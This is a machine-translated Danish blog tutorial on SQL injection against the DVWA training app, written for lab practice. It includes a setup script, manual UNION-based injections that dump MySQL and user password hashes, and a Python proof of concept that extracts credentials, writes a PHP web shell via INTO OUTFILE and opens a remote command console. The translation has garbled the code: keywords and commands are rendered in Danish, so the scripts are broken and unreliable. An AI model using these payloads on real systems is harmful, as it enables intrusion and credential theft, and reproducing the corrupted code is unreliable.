Damn Sårbar Web App – SQL Injection
Forfatter:
Ashfaq Ansari

Anmeldt af:
Rating:
5
On Oktober 1, 2012
Sidst ændret:Januar 18, 2013

Resumé:

Trin for trin og automatiseret metode til at gøre SQL-injektion angreb på Damn Vulnerable Web Application.

Indledning

Damn Sårbar Web App (DVWA) er en PHP / MySQL webapplikation, som er skide sårbare og kan udnyttes easily.Its hovedmål er at være en hjælp for professionelle sikkerhedsfolk at afprøve deres færdigheder og redskaber i et juridisk miljø, hjælpe webudviklere bedre at forstå de processer af sikring webapplikationer og støtte lærere / studerende til at undervise / lære webapplikation sikkerhed i et laboratorium miljø.

Advarsel!

Damn Sårbar Web App er sgu sårbar! Må ikke uploade det til din hosting udbyders public_html mappe eller nogen bearbejdning webserver, da det vil blive hacket. Jeg anbefaler at downloade og installere XAMPP på en lokal maskine inde i dit LAN, der udelukkende anvendes til test.
Vi tager ikke ansvar for den måde, som enhver man bruger Damn Sårbar Web App (DVWA). Vi har gjort i forbindelse med ansøgningen klar, og det bør ikke bruges ondskabsfuldt. Vi har givet advarsler og foranstaltninger, der træffes for at forhindre brugere i at installere DVWA om at leve webservere. Hvis din webserver er kompromitteret via en installation af DVWA det er ikke vores ansvar, det påhviler den person, der uploadet og installeret det.

Installation

Generelt har vi brug XAMPP server til opsætning pokkers sårbar webapplikation, men XAMPP server er intet andet end en samling af Apache, SQL, Perl, PHP, OpenSSL og andre server side software, men BackTrack 5 har alle disse software er installeret. Det betyder, at der ikke er behov for at installere XAMPP på bakke maskine. Alt du behøver at gøre er at få Damn Sårbare Web App og sætte det på rodmappen på BackTrack 5.

En vidunderlig bash script er til rådighed, der automatiserer hele processen. Takket være: Travis Phillips.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
#/bin/bash
echo ""
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "# Damn Sårbare Web App Installer Script #"
echo "# # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # # #"
echo "Coded By: Travis Phillips"
echo "Website: http://theunl33t.blogspot.com\n"
echo "Ændret af: Ashfaq Ansari\n"
echo "Website: http://hacksys.vfreaks.com\n"

echo "[*] Skift bibliotek til / var / www ..."
cd /var/www > /dev/nul
echo -og "Done!\n"

echo -n "[*] Oprettelse DVWA directory ..."
mkdir dvwa > /dev/nul
echo -og "Done!\n"

echo -n "[*] Skift til Temp mappe ..."
cd /tmp
echo -og "Done!\n"

echo "[*] Downloading DVWA ..."
wget http://voxel.dl.sourceforge.net/projekt/dvwa/DVWA-1.0.7.zip
echo -og "Done!\n"

echo -n "[*] DVWA udpakning ..."
unzip DVWA-1.0.7.zip > /dev/nul
echo -og "Done!\n"

echo -n "[*] Sletning af zip-filen ..."
rm DVWA-1.0.7.zip > /dev/nul
echo -og "Done!\n"

echo -n "[*] Kopiering dvwa til roden af ​​Web Directory ..."
cp -R dvwa/* /var/www/dvwa > /dev/nul
echo -og "Done!\n"

echo -n "[*] Clearing Temp mappe ..."
rm -R dvwa > /dev/nul
echo -og "Done!\n"

echo -n "[*] Aktivering Fjernbetjening omfatter i php.ini ..."
cp /etc./php5/apache2/php.ini /etc./php5/apache2/php.ini1
tørst -og 'S / allow_url_include = Fra / allow_url_include = On /' /etc./php5/apache2/php.ini1 > /etc./php5/apache2/php.ini
rm /etc./php5/apache2/php.ini1
echo -og "Done!\n"

echo -n "[*] Aktivering Skriv tilladelser til / var / www / dvwa / hackable / upload ..."
chmod 777 /var/www/dvwa/hackable/uploads/
echo -og "Done!\n"

echo -n "[*] Start Web Service ..."
tjeneste apache2 starte &> /dev/nul
echo -og "Done!\n"

echo -n "[*] Starter MySQL ..."
tjeneste mysql starter &> /dev/nul
echo -og "Done!\n"

echo -n "[*] Opdatering Config fil ..."
cp /var/www/dvwa/config/config.inc.php /var/www/dvwa/config/config.inc.php1
tørst -og 'S /'\'\''/'\''Toor'\''/' /var/www/dvwa/config/config.inc.php1 > /var/www/dvwa/config/config.inc.php
rm /var/www/dvwa/config/config.inc.php1
echo -og "Done!\n"

echo -n "[*] Opdaterer Database ..."
wget --post-data "Create_db = Opret / Reset Database" http://127.0.0.1/dvwa/setup.php &> /dev/nul
mysql -du root --adgangskode='Toor' -og 'Update dvwa.users sæt avatar = "/ hackable / brugere / gordonb.jpg" hvor brugeren = "gordonb";'
mysql -du root --adgangskode='Toor' -og 'Update dvwa.users sæt avatar = "/ hackable / brugere / smithy.jpg" hvor brugeren = "smedje";'
mysql -du root --adgangskode='Toor' -og 'Update dvwa.users sæt avatar = "/ hackable / brugere / admin.jpg" hvor brugeren = "admin";'
mysql -du root --adgangskode='Toor' -og 'Update dvwa.users sæt avatar = "/ hackable / brugere / pablo.jpg" hvor brugeren = "pablo";'
mysql -du root --adgangskode='Toor' -og 'Update dvwa.users sæt avatar = "/ hackable/users/1337.jpg" hvor brugeren = "1337";'
echo -og "Done!\n"

echo -og -n "[*] Start Firefox til DVWA\nBrugernavn: admin\nAdgangskode: adgangskode"
firefox http://127.0.0.1/dvwa/login.php &> /dev/nul &
echo -og "\nUdført!\n"
echo -og "[\033[1;32m * 033[1;37m] DVWA Install Færdig!\n"

DVWA er installeret, lad os flytte til SQL Injection. Der er tre SQL Injection niveauer på Damn Sårbar Web Application (Low, Mellem og Høj). I dette indlæg vil vi forklare, hvordan at besejre det lave niveau.

Sårbar Code

1
2
3
4
5
6
$id=$_GET['Id'];

$getid="SELECT first_name, last_name FROM brugere WHERE user_id = '$id'";
$resultere=mysql_query($getid) eller Den('
<pre>'
. mysql_error() . '</pre>
'
);

Ovenstående kode er sårbar over for SQL Injection. Som du kan se, er der ingen brugte sanitization, variablen er simpelthen indsat direkte ind i SQL-forespørgsel.

Lad os bekræfte, om det er sårbart over for SQL Injection:

UserID: ‘

Den side returnerede følgende fejlmeddelelse:

Du har en fejl i din SQL-syntaks; tjekke manualen, der svarer til din MySQL server version for retten syntaks at bruge nær ””’ på linje 1

Det bekræfter, at det er sårbart over for SQL Injection, første ting at gøre er at finde ud af hvor mange kolonner der er:

UserID: ‘ ORDER BY 1#
UserID: ‘ ORDER BY 2#

Disse blot returnere den samme side.

UserID: ‘ ORDER BY 3#

Så det giver os en uvurderlig fejlmeddelelse:

Ukendt kolonne »3’ i 'bestil klausul’

Derfor, Der er to kolonner, der er naturligvis first_name og LAST_NAME kolonner som når du passerer UserID: danner et gyldigt bruger-id (1) for eksempel du får denne:

ID: 1
Fornavn: admin
Efternavn: admin

Højre, nu er det tid til at finde ud af navnet database, tabelnavn, kolonne navn og alt andet nyttigt og interessant. Første ting først lad os finde ud af databasen udgave:

ID: ‘ UNION ALL SELECT 1, @ @ VERSION #
Fornavn: 1
Efternavn: 5.1.41-3ubuntu12.10

Så det er ved hjælp af MySQL 5.1.41-3Ubuntu. Lader finde brugeren databasen kører som, og navnet på den database, vi beskæftiger os med:

ID: ‘ UNION ALL SELECT bruger(),database()#
Fornavn: root @ localhost
Efternavn: dvwa

Databasen bruger er root og databasen vi beskæftiger os med, er dvwa. Da brugeren er rod lad os dumpe MySQL hash:

ID: ‘ UNION ALL SELECT bruger,adgangskode fra mysql.user #
Fornavn: root
Efternavn: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT bruger,adgangskode fra mysql.user #
Fornavn: root
Efternavn: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT bruger,adgangskode fra mysql.user #
Fornavn: root
Efternavn: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT bruger,adgangskode fra mysql.user #
Fornavn: debian-sys-maint
Efternavn: *8C4C424D182238AFBA8B217F692D07C952EF4087

ID: ‘ UNION ALL SELECT bruger,adgangskode fra mysql.user #
Fornavn: root
Efternavn: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

ID: ‘ UNION ALL SELECT bruger,adgangskode fra mysql.user #
Fornavn: admin
Efternavn: *9CFBBC772F3F6C106020035386DA5BBBF1249A11

Wow! Vi fik roden kodeord hash. Vi kan bruge John The Ripper at knække hash.

Vi kender navnet database er dvwa. Lad os finde ud tabelnavnet:

ID: ‘ UNION ALL SELECT table_schema,tabelnavn FROM information_schema.tables HVOR table_schema LIKE '% dvwa%’ #
Fornavn: dvwa
Efternavn: gæstebog

ID: ‘ UNION ALL SELECT table_schema,tabelnavn FROM information_schema.tables HVOR table_schema LIKE '% dvwa%’ #
Fornavn: dvwa
Efternavn: brugere

Der er to tabeller i dvwa database navngivet som gæstebog og brugere

Nu, lad os finde kolonner i brugere bord.

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: comment_id

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: kommentere

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: navn

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: user_id

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: first_name

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: last_name

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: bruger

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: adgangskode

ID: ‘ UNION ALL SELECT table_schema, column_name FROM information_schema.columns HVOR table_schema som '% dvwa%’ #
Fornavn: dvwa
Efternavn: avatar

Awesome, lad os dumpe brugernavn og adgangskode fra dvwa.users bord. Here we go.

ID: ‘ UNION ALL SELECT bruger, adgangskode fra dvwa.users #
Fornavn: admin
Efternavn: 5f4dcc3b5aa765d61d8327deb882cf99

ID: ‘ UNION ALL SELECT bruger, adgangskode fra dvwa.users #
Fornavn: gordonb
Efternavn: e99a18c428cb38d5f260853678922e03

ID: ‘ UNION ALL SELECT bruger, adgangskode fra dvwa.users #
Fornavn: 1337
Efternavn: 8d3533d75ae2c3966d7e0d4fcc69216b

ID: ‘ UNION ALL SELECT bruger, adgangskode fra dvwa.users #
Fornavn: pablo
Efternavn: 0d107d09f5bbe40cade3de5c71e9e9b7

ID: ‘ UNION ALL SELECT bruger, adgangskode fra dvwa.users #
Fornavn: smedje
Efternavn: 5f4dcc3b5aa765d61d8327deb882cf99

Job udført. Vi har med succes dumpet brugerlegitimationsoplysningerne. Vi kan knække dem ved hjælp af enhver MD5 hash krakker.

HackSys Team har skabt en PoC i Python, der hjælper med automatiseret SQL Injection på DVWA og giver en shell bede, hvor vi kan køre regelmæssige skalkommandoer.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
#!/usr / bin / python
#________________________________________________
#    Damn Sårbar Web Application - DVWA
#     SQL Injection Exploit til RCE - PoC
#   af Ashfaq Ansari (hacksysteam@hotmail.com)                                            
#                                                                                          
#            (__)                                                                          
#            (Ltd)   http://hacksys.vfreaks.com /
#     /-------\/                                                                          
#    / |     ||                                                                            
#   *  ||----||                                                                            
#      ~~ ~~ Power af HackSys Team - Panthera
#________________________________________________
#
importere sys, socket, urllib, re, urllib2, getpass, string, tid, random, base64
fra optparse importere OptionParser
fra cookielib importere CookieJar

descLogo = """
________________________________________________

     Damn Sårbar Web Application - DVWA
           SQL Injection til RCE - PoC
   af Ashfaq Ansari (hacksysteam@hotmail.com)

            (__)
            (Ltd)  http://hacksys.vfreaks.com /
     /-------\/
    / |     ||
   *  ||----||
      ~~ ~~ Power af HackSys Team - Panthera
________________________________________________

"""


#Color variabler, der skal anvendes med print kommandoen
RØD= "\033[31m" # red
GRØN= "\033[32m" # grøn
HVID= "\033[0m" # hvid
CYAN = "\033[36m" #cyan
PURPLE = "\033[35m" #lilla

#Variable
urlStart = "Svagheder / SQLI / index.php?id ="
urlEnd = "&Indsend = Indsend"
shellName = "Fd7cb4cb0031ba249"
agenter = ["Mozilla/4.0 (kompatible; MSIE 5.5; Windows NT 5.0)",
    "Internet Explorer 7 (Windows Vista); Mozilla/4.0 ",
    "Google Chrome 0.2.149.29 (Windows XP)",
    "Opera 9.25 (Windows Vista)",
    "Mozilla/4.0 (kompatible; MSIE 7.0b; Windows NT 5.1)",
    "Opera/8.00 (Windows NT 5.1; Du; i)"]
agent = random.valg(agenter)


#Brug hjælp resumé
forbrug = CYAN + ". /% Prog [<optioner>] -t [target] -d [Vejviser]"
forbrug += "\nEksempel: ./%prog-p localhost:8080 -t 192.168.1.15:8080 -d / dvwa /"

#Parser optioner
parser = OptionParser(forbrug=forbrug)
parser.add_option("-P", typen="Streng",handling="Butik", dest="Proxy",
                  hjælp="HTTP Proxy <server:port>")
parser.add_option("-T", typen="Streng", handling="Butik", dest="Target",
                  hjælp="The Target server <server:port>")
parser.add_option("-D", typen="Streng", handling="Butik", dest="DirPath",
                  hjælp="Mappe stien til Damn Sårbar Web App")
(optioner, args) = parser.parse_args()


#Skrive tekst - Bare for sjov
def typingText(tekstbesked, farve):
 
  prøv:
    for Jeg i tekstbesked:
      print farve + "\b%s"%Jeg,
      sys.stdout.flush()
      tid.sove(0.020)
  undtagen:
    pass
 

hvis kun(sys.argv) < 5:
    typingText(descLogo, PURPLE)
    parser.print_help()
    sys.afslutte(1)
   

#Proxy handleren
def getProxy():
 
    prøv:
        proxy_handler = urllib2.ProxyHandler({'Http': optioner.proxy})
    undtagen(socket.timeout):
            print RØD + "\tProxy timeout ...\n"
            sys.afslutte(1)
    tilbage proxy_handler


#Test proxy-forbindelse
def testProxy():
 
    print(CYAN + "[+] Test proxy @% s ..." % (optioner.proxy))
    opener = urllib2.build_opener(getProxy())
   
    prøv:
      tjek = opener.åbent("Http://www.google.com").læse()
    undtagen:
      tjek = 0
      pass
   
    hvis tjek >= 1:
      print(GRØN + "\tProxy er fundet at være arbejder ...\n")
    ellers:
      print RØD + "\tProxy mislykkedes ... Afslutter!\n"
      sys.afslutte(1)


#Få svar fra serveren
def getServerResponse(cj, targetURL, data):
     
    hvis optioner.proxy:
      prøv:
    opener = urllib2.build_opener(getProxy(), urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', agent)]
    tjek = opener.åbent(targetURL, data).læse()
    tilbage tjek
      undtagen:
    print (RØD + "\tProxy forbindelse mislykkedes til fjerntliggende mål ...\n")
    sys.afslutte(1)
    ellers:
      prøv:
    opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
    opener.addheaders = [('User-agent', agent)]
    tjek = opener.åbent(targetURL, data).læse()
    tilbage tjek
      undtagen:
    print (RØD + "\tTarget forbindelse mislykkedes, tjekke din adresse ...\n")
    sys.afslutte(1)


#Prøv at logge ind på Damn Sårbar Web Application
def doLogin():
 
    print(CYAN + "[+] Forsøger at logge på DVWA ...")
    targetURL = "Http://" + optioner.target + optioner.dirPath + "Login.php"
    værdier = {'Brugernavn' : 'Admin', 'Password' : 'Password', 'Login' : 'Login'}
    data = urllib.urlencode(værdier)
    cj = CookieJar()
   
    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)
       
    hvis ikke re.søg("Login mislykkedes", respHTML):
      tid.sove(1)
      typingText("\tAuthentication succes ...\n\n", GRØN)
      tilbage cj
    ellers:
      tid.sove(1)
      typingText("\tGodkendelse nægtet! Spændende ...\n\n\n", RØD)
      sys.afslutte(1)


#Prøv at tamperthe sikkerhedsniveauet for Damn Sårbar Web Application
def lowSecurity(adminCookie):
 
    print(CYAN + "[+] Manipulation sikkerhed DVWA ...")
    targetURL = "Http://" + optioner.target + optioner.dirPath + "Security.php"
    værdier = {"Sikkerhed" : »Lav«, 'Seclev_submit' : 'Send'}
    data = urllib.urlencode(værdier)
    cj = adminCookie #Brug cookie tilbage fra doLogin() Funktionen
   
    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)
   
    hvis re.søg("Sikkerhed Level er i øjeblikket <i>lav</i>", respHTML):
      tid.sove(1)
      typingText("\tSikkerhedsniveauet vellykket sæt til LAV ...\n\n", GRØN)
    ellers:
      tid.sove(1)
      typingText("\tKunne ikke manipulere sikkerhedsniveau! Spændende ...\n\n", RØD)
      sys.afslutte(1)


#Kontroller, om målet er sårbar over for SQL-injektion
def testSQLinjection(adminCookie):
 
    print(CYAN + "[+] Kontrol af, om målet er sårbar ...")
    injection_url = "1 '"
    targetURL = "Http://" + optioner.target + optioner.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Brug cookie tilbage fra doLogin() Funktionen

    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)
   
    hvis re.søg("Fejl i din SQL-syntaks", respHTML):
      tid.sove(1)
      typingText("\tw00t -- Mål fundet at være sårbar ...\n\n", GRØN)
    ellers:
      tid.sove(1)
      typingText("\to00w -- Target er ikke sårbare! Spændende ...\n\n", RØD)    
      sys.afslutte(1)


#Find MySQL oplysninger
def findMySQLInfo(adminCookie):
 
    print(CYAN + "[+] Retriving MySQL information ...")
    injection_url = "1 ' EU ALL Vælg concat_ws(0x3b,0x4861636b537973205465616d,bruger(),database(),udgave(),0x4861636b537973205465616d)%2C2; #"
    targetURL = "Http://" + optioner.target + optioner.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Brug cookie tilbage fra doLogin() Funktionen

    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)
   
    # Nu uddrage interessante oplysninger
    get_secret_data = string.find(respHTML,  "HackSys Team")
     
    # Hvis målet ikke er sårbar exit
    hvis get_secret_data == -1:
        typingText("\tOperation mislykkedes. Afslutter nu ...\n\n", RØD)
        sys.afslutte(1)
         
    get_secret_data += 10
    new_html4= respHTML[get_secret_data :]
    new_get_secret_data4 = string.find(new_html4,  "HackSys Team")
    new_html_5 = new_html4[:new_get_secret_data4]
             
    # Data blev modtaget, nu formatere og vise det
    formatted_output = st.split(new_html_5,  ";")
    tid.sove(1)
    print GRØN + "\tMySQL Database: ",  formatted_output[2]
    print GRØN + "\tMySQL version : ",  formatted_output[3]
    print GRØN + "\tMySQL Database Bruger : ",  formatted_output[1]
    print ""
    tilbage


#Prøv at antallet af poster i brugernes tabel
def findNoOfRecordsInTable(adminCookie):
       
    injection_url = "1 ' UNION ALL SELECT 1% 2C COUNT(*)+fra brugere% 3B% 23"
    targetURL = "Http://" + optioner.target + optioner.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Brug cookie tilbage fra doLogin() Funktionen

    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)
   
    # Nu uddrage interessante oplysninger
    get_secret_data = string.find(respHTML,  "<br>Efternavn:")
    get_secret_data += 40    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = string.find(new_html,  "</pre>\r\n\r\n\t</div>")  
    new_html_2 = new_html[:new_get_secret_data]

    # Data blev modtaget, nu formatere og vise det
    formatted_output = st.split(new_html_2,  ": ")
    tilbage formatted_output[2]
   

#Prøv at dumpe det brugernavn og password fra brugere bord
def findUserPasswords(adminCookie, indeks):
 
    injection_url = "1 ' UNION ALL SELECT 1% 2C concat_ws(0x3b,0x4861636b537973205465616d,user_id,first_name,last_name,user,password,0x4861636b537973205465616d)+FRA brugere LIMIT " + st(indeks) + "% 2C30% 3B% 23"
    targetURL = "Http://" + optioner.target + optioner.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Brug cookie tilbage fra doLogin() Funktionen

    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)
   
    # Nu uddrage interessante oplysninger
    get_secret_data = string.find(respHTML,  "HackSys Team")
    get_secret_data += 10    
    new_html = respHTML[get_secret_data :]
    new_get_secret_data = string.find(new_html,  "HackSys Team")    
    new_html_2 = new_html[:new_get_secret_data]

    # Data blev modtaget, nu formatere og vise det
    formatted_output = st.split(new_html_2,  ";")
    tid.sove(1)
    print GRØN + "\tBruger-ID : ",  formatted_output[1]
    print GRØN + "\tFornavn: ",  formatted_output[2]
    print GRØN + "\tEfternavn : ",  formatted_output[3]
    print GRØN + "\tBrugernavn: ",  formatted_output[4]
    print GRØN + "\tPassword Hash : ",  formatted_output[5]
    print ""


#Prøv at uploade et tinyShell for interaktiv angreb
def uploadShellViaSQLi(adminCookie):
 
    print(CYAN + "[+] Upload af Shell via SQLi ...")
   
    #XAMPP På Windows XP
    #injection_url = "1' UNION SELECT '', '<?php system($_GET["cmd"]); ?>' INTO OUTFILE 'C:xampphtdocsdvwashell.php';#"

    #Linux
    injection_url = "1% 27 UNION ALL SELECT % 27% 27% 2C % 27% 3c% 3Fphp -system(base64_decode(%24_GET[%22cmd% 22% 5D% 29% 29% 3% 27% 3B % 3f INTO OUTFILE % 27% 2Fvar% 2F% 2Fwww% 2Fdvwa" + shellName + . "Php% 27% 3B% 23"
   
    targetURL = "Http://" + optioner.target + optioner.dirPath + urlStart + injection_url + urlEnd
    data = ""
   
    cj = adminCookie #Brug cookie tilbage fra doLogin() Funktionen

    #Få svar fra serveren og gemme det i en variabel
    respHTML = getServerResponse(cj, targetURL, data)

    hvis re.søg("<h3>Bruger-ID:</h3>", respHTML):
      tid.sove(1)
      typingText("\tw00t -- Shell uploadet ...\n\n", GRØN)
    Elif re.søg("Eksisterer allerede</pre>", respHTML):
      tid.sove(1)
      typingText("\tw00t -- Shell findes allerede ...\n\n", GRØN)  
    ellers:
      tid.sove(1)
      typingText("\to00w -- Kan ikke uploade skallen ...\n\n", RØD)
      sys.afslutte(1)


#Start interaktiv angreb session
def interactiveAttack(adminCookie):
 
  print CYAN + "[+] Indtastning interaktiv fjernkonsol (q for quit)\n" + HVID + "\n  HackSys Team - Panthera\n   Forfatter: Ashfaq Ansari\n  hacksysteam@hotmail.com\n http://hacksys.vfreaks.com /\n\n"
  hn = GRØN + "% S @% s # " % (getpass.getuser(), optioner.target) + HVID
  cmd = ""
  data = ""
  cj = adminCookie
  mens cmd != 'Q':
    prøv:
      cmd = raw_input(hn)
      cmd64 = base64.b64encode(cmd)      
      targetURL = ("Http://%s% s% s.php?cmd =% s" % (optioner.target, optioner.dirPath, shellName, cmd64))
      eller = getServerResponse(cj, targetURL, cmd64)
      shellOutput = eller.split("Admin")
      print HVID + shellOutput[2]
    undtagen:
      pause
 
  # selvmord
  rmShell = base64.b64encode("Rm% s.php" % (shellName))
  targetURL = ("Http://%s% s% s.php?cmd =% s" % (optioner.target, optioner.dirPath, shellName, rmShell))
  eller = getServerResponse(cj, targetURL, rmShell)

     
#Hovedfunktion
def main():
 
  #Udskrive banneret i Typing Teksttypografi
  typingText(descLogo, PURPLE)
 
  #Kontrollér og tilslut proxy server, hvis angives ved hjælp-p argument
  hvis optioner.proxy:
    testProxy()

  #Grib admin cookie
  adminCookie = doLogin()
 
  #Sabotage sikkerhedsniveauet
  lowSecurity(adminCookie)
 
  #Test SQL injektion sårbarhed
  testSQLinjection(adminCookie)
 
  #Dump MySQL oplysninger
  findMySQLInfo(adminCookie)
 
  #Find antallet af poster i brugernes tabellen
  Samlet antal af = int(findNoOfRecordsInTable(adminCookie))
 
  print(CYAN + "[+] Retriving brugernavn og adgangskoder ...")
 
  for indeks i rækkevidde(1,totalRecords 1):
    #Dump bruger adgangskoder
    findUserPasswords(adminCookie, indeks)
 
  #Upload tinyShell
  uploadShellViaSQLi(adminCookie)
 
  #Start interaktiv angreb
  interactiveAttack(adminCookie)
 
hvis __name__ == "__main__":
    main()

Hent Damn Sårbar Web App – SQL Injection PoC

 

DVWA_SQLi.zip

 
Tak fordi du tog dig tid til at læse dette indlæg. Hvis du står over for ethvert problem, du velkommen til at skrive til os på: hacksysteam@hotmail.com

 
 

178,066 samlede antal visninger, 47 visninger i dag

De følgende to faner ændre indhold under.

Ashfaq Ansari

Sikkerhed Forsker
Ashfaq Ansari er grundlægger af HackSys Team kodenavnet "Panthera". Han er en sikkerhed forsker med erfaring i forskellige aspekter af Information Security. Han har forfattet "HackSys Extreme Sårbar driver" og "Shellcode of Death". Han har også skrevet og udgivet forskellige hvidbøger om software udnyttelse lavt niveau. Hans centrale interesse ligger i "Low Level Udnyttelse", "Reverse Engineering", "Program Analysis" og "Hybrid fnugdannelse". Han er en fanboy af kunstig intelligens og Machine Learning. Han er kapitlet føringen null Pune.

Seneste indlæg af Ashfaq Ansari (se alle)

Ingen Responses to “Damn Sårbar Web App – SQL Injection”

Trackbacks / Pingbacks

  1. Damn Sårbare Web App - Lokal File Inclusion (LFI) | HackSys Team - Computer Security Research, Penetration Testing, Ethical Hacking, Windows teknisk support - [...] du ikke har læst den første del, her er linket: http://hacksys.vfreaks.com / pen-testing / skide-udsatte-web-app-sql-injection.html [...]

Efterlad et svar

Din e-mail adresse vil ikke blive offentliggjort. Krævede felter er markeret *